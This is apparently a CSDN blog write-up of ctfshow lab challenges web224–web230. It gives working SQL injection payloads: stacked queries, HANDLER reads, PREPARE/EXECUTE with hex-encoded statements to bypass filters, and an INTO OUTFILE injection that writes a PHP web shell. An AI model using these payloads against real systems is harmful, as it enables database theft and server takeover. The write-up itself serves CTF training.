ctfshow-web入门-sql注入(web224-web230)文件类型注入、routines存储过程与函数状态、handler语句、预处理prepare+execute

72 篇文章 1 订阅
27 篇文章 1 订阅

目录

1、web224

2、web225

3、web226

4、web227

5、web228

6、web229

7、web230


1、web224

登录页面测了下没发现注入点

存在 robots.txt

访问 /pwdreset.php  ,是管理员密码重置的页面

直接重置密码,这里以 123456 为例

使用 admin/123456 登录 

来到一个文件生成界面

对文件大小有限制

文件类型也有限制

看了 wp 是文件类型注入,后台会通过读取文件内容判断文件类型,记录到数据库,对文件进行重命名。新建一个 txt 文件,写入如下内容:

C64File "');select 0x3c3f3d60746163202f662a603f3e into outfile '/var/www/html/myon.php';--+

C64File 是与 Commodore 64 相关的文件类型,之后闭合,写入 sql 语句,其中

3c3f3d60746163202f662a603f3e 为我们想要执行的命令的十六进制形式。

访问写入的 myon.php

拿到 flag:ctfshow{ddec6f4e-f82b-4c75-92df-d0c646cf011a}

试了下其他类型的文件也可以传

但是写入有问题

2、web225

堆叠提升开始

过滤掉了很多东西 

查表名:

/api/index.php?username=0';show tables;#

存在一个名为 ctfshow_flagasa 的表

查这个表下的列名:

/api/index.php?username=0';show columns from ctfshow_flagasa;#

得到 flag 的字段名为 flagas

一般我们可以通过重命名表和更改字段名来实现查询 flag,这里原本是:

select id,username,pass from ctfshow_user where username = '{$username}';

我们可以改为:

select id,flag,pass from ctfshow_flagasa where flag = '{$username}';

也就是将表名 ctfshow_user 改为了 ctfshow_flagasa,将字段名 username 改为 flag,之后我们就可以使用万能密码 1' or 1=1# 查出 flag。

使用 RENAME TABLE 语句来重命名一个表:

RENAME TABLE old_table_name TO new_table_name;

使用 ALTER TABLE 配合 CHANGE 语句来重命名列名:

ALTER TABLE table_name CHANGE old_column_name new_column_name datatype;

但是由于这道题过滤了 alter,因此这种方法不行。

这个题非常像我之前在攻防世界刷过的一道题:

supersqli(SQL注入流程及常用SQL语句)-CSDN博客icon-default.png?t=N7T8https://myon6.blog.csdn.net/article/details/129805447

不过那道题没有过滤 alter,当然我们还有其他的方法,采用 handler 语句:

handler 是 mysql 的专用语句,没有包含到 SQL 标准中,但它每次只能查询 1 次记录,而 select 可以根据需要返回多条查询结果。 

hander `表名` open;           // 打开一个表

handler`表名`read frist;      // 查询第一个数据

handler`表名`read next;     // 查询之后的数据直到最后一个数据返回空

先打开表 ctfshow_flagasa,再查询它,payload:

0';handler`ctfshow_flagasa` open;handler`ctfshow_flagasa`read next;#

拿到 flag:ctfshow{28ec601d-4120-405d-b5da-3809145c24bb} 

或者这样用:

0';handler`ctfshow_flagasa` open as`a`;handler`a`read next;#

这里用 first 和 next 都是可以的,因为就一个数据。

还可以采用预处理的方法:prepare + execute

PREPARE 语句准备好一条 SQL 语句,并分配给这条 SQL 语句一个名字供之后调用,通过EXECUTE 命令执行,最后使用 DEALLOCATE PREPARE 命令释放。

payload:

0';prepare myon from concat("sel","ect * from `ctfshow_flagasa`");execute myon;#

3、web226

新增过滤 show 和括号,采用十六进制绕过。

查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

拿到表名 ctfsh_ow_flagas,查列名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d2763746673685f6f775f666c6167617327;execute myon;#

查字段:

0';prepare myon from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;execute myon;#

拿到 flag:ctfshow{808156a6-3460-4610-a716-2aa5f7f521fb}

4、web227

过滤内容对我们上一题的 payload 无影响,先查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

发现只有一个名为 ctfshow_user 的表 

看了 wp 这道题需要查看存储过程和函数的状态,通过查询 information_schema.ROUTINES 表来查看存储过程和函数的详细信息,直接查这个表下的所有东西:

0';prepare myon from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute myon;#

看到 flag:ctfshow{f2b7398c-eccb-45b0-bf40-c3b2f4767760} 

当然,如果知道存储过程或函数的名称,可以查询其详细信息,包括定义:

第一步我们可以得到函数名为 getFlag

具体指定函数名再进行查询:

select * from information_schema.routines where routine_name='getFlag'

其中 routine_name 用于指定存储过程或函数的名称  

其中 routine_name 用于指定存储过程或函数的名称 

如果存储过程和存储函数名称相同,则需要再指定  routine_type  字段表明查询的是哪种类型的存储程序:

比如指定查询的类型是函数

select * from information_schema.routines where routine_name='getFlag' and routine_type='function'

查出来没有,看来这里的 getFlag 并不是函数类型 

那么我们指定进程类型看看呢:

select * from information_schema.routines where routine_name='getFlag' and routine_type='procedure'

还真是进程

5、web228

还是采用预处理,查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

查列名:

select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfsh_ow_flagasaa'
0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d2763746673685f6f775f666c61676173616127;execute myon;#

查字段:

0';prepare myon from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161;execute myon;#
select flagasba from ctfsh_ow_flagasaa

拿到 flag:ctfshow{0710b947-f29c-434f-94b5-59628ea645af}

6、web229

查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

flag 

查列名:

flagasba

查字段:

0';prepare myon from 0x73656c65637420666c6167617362612066726f6d20666c6167;execute myon;#

拿到 flag:ctfshow{24939b59-7383-48b6-af76-11048fe77fe2}

7、web230

查表名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute myon;#

flagaabbx 

查列名:

0';prepare myon from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d6461746162617365282920616e64207461626c655f6e616d653d27666c6167616162627827;execute myon;#

flagasbas 

查字段:

0';prepare myon from 0x73656c65637420666c616761736261732066726f6d20666c61676161626278;execute myon;#

拿到 flag:ctfshow{5d7f5613-76bb-41bd-8bd3-d12b63ae7d4b}

  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值